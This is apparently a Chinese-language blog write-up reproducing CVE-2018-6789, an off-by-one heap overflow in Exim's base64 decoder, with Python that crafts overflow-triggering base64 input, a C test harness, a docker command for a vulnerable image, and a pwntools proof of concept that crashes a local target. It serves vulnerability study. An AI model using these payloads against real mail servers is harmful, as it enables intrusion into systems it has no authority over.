PWN March 22, 2021

CVE-2018-6789——Exim RCE Vulnerability

Words count 21k Reading time 19 mins. Read count 0

前言

这个漏洞由台湾的安全研究员工meh发现,经过华为未然实验室的师傅复现,成功实现了远程代码执行,最近在学习网络协议漏洞的挖掘,正好复现一下这块的东西,这两天要啃下来!

一、漏洞介绍

漏洞的成因是b64decode函数在对不规范的base64编码过的数据进行解码时可能会溢出堆上的一个字节,比较经典的off-by-one漏洞。

存在漏洞的b64decode函数部分代码如下:

image-20210323160211248

1
2
3
4
5
6
7
8
9
10
11
b64decode(const uschar *code, uschar **ptr)
{
int x, y;
uschar *result = store_get(3*(Ustrlen(code)/4) + 1);

*ptr = result;

/* Each cycle of the loop handles a quantum of 4 input bytes. For the last
quantum this may decode to 1, 2, or 3 output bytes. */
......
}

说的是,这里的store_get会调用store_malloc,也就是堆块申请,3(Ustrlen(code)/4) + 1是预测base64解密出来后的数据长度,然后malloc(3(Ustrlen(code)/4) + 1)的堆块,而实际解密出来的堆块长度可能是3(Ustrlen(code)/4) +2,这里这么理解,如果code的长度是4n+3,那么根据3(Ustrlen(code)/4) + 1的长度计算,可以知道预估的明文长度为3n+1,然后真正解密时,4n+3长度的密文会解密出3n+2的明文长度,因为3个字节的密文,可以解密出2个字节的明文,然后代码里只预估了4n和4n+2的情况(2个密文也只能解出1个明文),漏掉了4n+3的情况(⊙o⊙)…(没有4n+1的情况,从base64的原理可以知道)。

image-20210322231437465

但是我发现直接少个等号python是解不出来的:

image-20210322231700888

用c语言可以知道是可以的,效果和加了等号一样的:

image-20210322231615772

也就是说4n+3的密文,解密出来是3n+2个字符。

这里用自己写的demo来验证一下:

因为预估的大小是3n+1,那么malloc(3n+1)时,只要申请的大小是8结尾的size,就可以实现溢出,例如当n=13时,malloc(3*13+1)=malloc(40)=malloc(0x28),python代码如下:

1
2
3
4
5
6
7
from base64 import *
aa = b64encode('a'*39)+b64encode('fv').strip('=')
print aa
print len(aa)
#aa = YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhZnY
print len(aa)
#len = 55

所以密文长度是55时,我们根据store_get(3*(Ustrlen(code)/4) + 1)进行运算

1
2
3
4
5
6
# 55/4*3+1=39+1=40 所以malloc(40)=malloc(0x28)
cc = b64decode('YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhZnY=')
print cc
#cc = a*39+fv
print len(cc)
#len = 41

由于解密出来是41个字符,填充时,就会造成off-by-one的漏洞,修改一下个堆块的size头,只有在申请的堆块size是8结尾的才能造成这个漏洞,我试着从fastbin到unsortedbin都找了一下:

1
2
3
4
5
6
KK = []
for i in range(1,3000,1):
if (i*3+1)&0xf==8:
KK.append(hex(i*3+1))
print(KK)
#size = ['0x28', '0x58', '0x88', '0xb8', '0xe8', '0x118', '0x148', '0x178', '0x1a8', '0x1d8', '0x208', '0x238', '0x268', '0x298', '0x2c8', '0x2f8', '0x328', '0x358', '0x388', '0x3b8', '0x3e8', '0x418', '0x448', '0x478', '0x4a8', '0x4d8', '0x508', '0x538', '0x568', '0x598', '0x5c8', '0x5f8', '0x628', '0x658', '0x688', '0x6b8', '0x6e8', '0x718', '0x748', '0x778', '0x7a8', '0x7d8', '0x808', '0x838', '0x868', '0x898', '0x8c8', '0x8f8', '0x928', '0x958', '0x988', '0x9b8', '0x9e8', '0xa18', '0xa48', '0xa78', '0xaa8', '0xad8', '0xb08', '0xb38', '0xb68', '0xb98', '0xbc8', '0xbf8', '0xc28', '0xc58', '0xc88', '0xcb8', '0xce8', '0xd18', '0xd48', '0xd78', '0xda8', '0xdd8', '0xe08', '0xe38', '0xe68', '0xe98', '0xec8', '0xef8', '0xf28', '0xf58', '0xf88', '0xfb8', '0xfe8', '0x1018', '0x1048', '0x1078', '0x10a8', '0x10d8', '0x1108', '0x1138', '0x1168', '0x1198', '0x11c8', '0x11f8', '0x1228', '0x1258', '0x1288', '0x12b8', '0x12e8', '0x1318', '0x1348', '0x1378', '0x13a8', '0x13d8', '0x1408', '0x1438', '0x1468', '0x1498', '0x14c8', '0x14f8', '0x1528', '0x1558', '0x1588', '0x15b8', '0x15e8', '0x1618', '0x1648', '0x1678', '0x16a8', '0x16d8', '0x1708', '0x1738', '0x1768', '0x1798', '0x17c8', '0x17f8', '0x1828', '0x1858', '0x1888', '0x18b8', '0x18e8', '0x1918', '0x1948', '0x1978', '0x19a8', '0x19d8', '0x1a08', '0x1a38', '0x1a68', '0x1a98', '0x1ac8', '0x1af8', '0x1b28', '0x1b58', '0x1b88', '0x1bb8', '0x1be8', '0x1c18', '0x1c48', '0x1c78', '0x1ca8', '0x1cd8', '0x1d08', '0x1d38', '0x1d68', '0x1d98', '0x1dc8', '0x1df8', '0x1e28', '0x1e58', '0x1e88', '0x1eb8', '0x1ee8', '0x1f18', '0x1f48', '0x1f78', '0x1fa8', '0x1fd8', '0x2008', '0x2038', '0x2068', '0x2098', '0x20c8', '0x20f8', '0x2128', '0x2158', '0x2188', '0x21b8', '0x21e8', '0x2218', '0x2248', '0x2278', '0x22a8', '0x22d8', '0x2308']

那么我们要构造能实现offbyone的输出就知道构造多少输入数据进行加密了:

1
pay = b64encode('a'*(size[i]-1))+b64encode('fv').strip('=')

二、漏洞环境搭建

1
CFLAGS+="-fPIC" LDFLAGS+="-pie -ldl -lm -lcrypt" LIBS+="-pie" make -e clean all

开启pie

image-20210323181221303

开启pie和asan操作:

1
2
CFLAGS+="-fPIC -fsanitize=address" LDFLAGS+="-lasan -pie -ldl -lm -lcrypt" \
LIBS+="-lasan -pie" make -e clean all

因为华为未然实验室的师傅把这个完整的环境用docker封装好了,这里直接白嫖了一下

1
sudo docker run -it --name exim -p 25:25 skysider/vulndocker:cve-2018-6789

然后自己写了个测试demo去调用b64decode,发现确实存在上述问题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdlib.h>
#include <dlfcn.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>

typedef int(*fmt)(int a1,int a2);
typedef int(*b64decode_t)(const char*, char**);

// void store_reset_3(void *ptr, const char *filename, int linenumber)
typedef void(*store_reset_3_t)(void *, const char *, int);
int main (int argc, char** argv) {
void* handler = dlopen("./fuzz_target.so", RTLD_LAZY);
if (!handler)
{
fprintf (stderr, "dlopen Error:%s\n", dlerror ());
return -1;
}
b64decode_t b64decode = (b64decode_t)dlsym(handler,"func_0x1880a");
store_reset_3_t store_reset = (store_reset_3_t)dlsym(handler,"func_0x9d651");
if (!b64decode)
{
fprintf (stderr, "dlsym Error:%s\n", dlerror ());
return -1;
}
char *ptr;
char *buf = malloc(0x3000);
read(0,buf,0x3000);
int len = strlen(buf);
if ((buf[len-1])=='\n')
{
buf[len-1]='\x00';
}
int res = b64decode(buf, &ptr);
free(ptr-0x10);
dlclose(handler);
return 0;
}

解出明文后,因为offbyone,导致topchunk最后一个字节被修改,最后free掉堆块时,页没有对齐从而报错,poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# -*- coding: utf-8 -*-
from pwn import *
from base64 import b64encode
from libformatstr import FormatStr
context.log_level = 'debug'

context(arch='amd64', os='linux')

local = 1
elf = ELF('./x86_64_target1')
if local:
p = process('./x86_64_target1')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6)

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def ms(name,addr):
print name + "---->" + hex(addr)

def debug(mallocr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print }}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+mallocr)))
else:
gdb.attach(p,"b *{}".format(hex(mallocr)))


pay = b64encode('a'*0x2007)+b64encode('\xf2\xf2')[:-1]
sl(pay)

p.interactive()

现在用自己写的工具尝试漏洞挖掘:

image-20210331164603303

image-20210331164629481

效果不错!

0%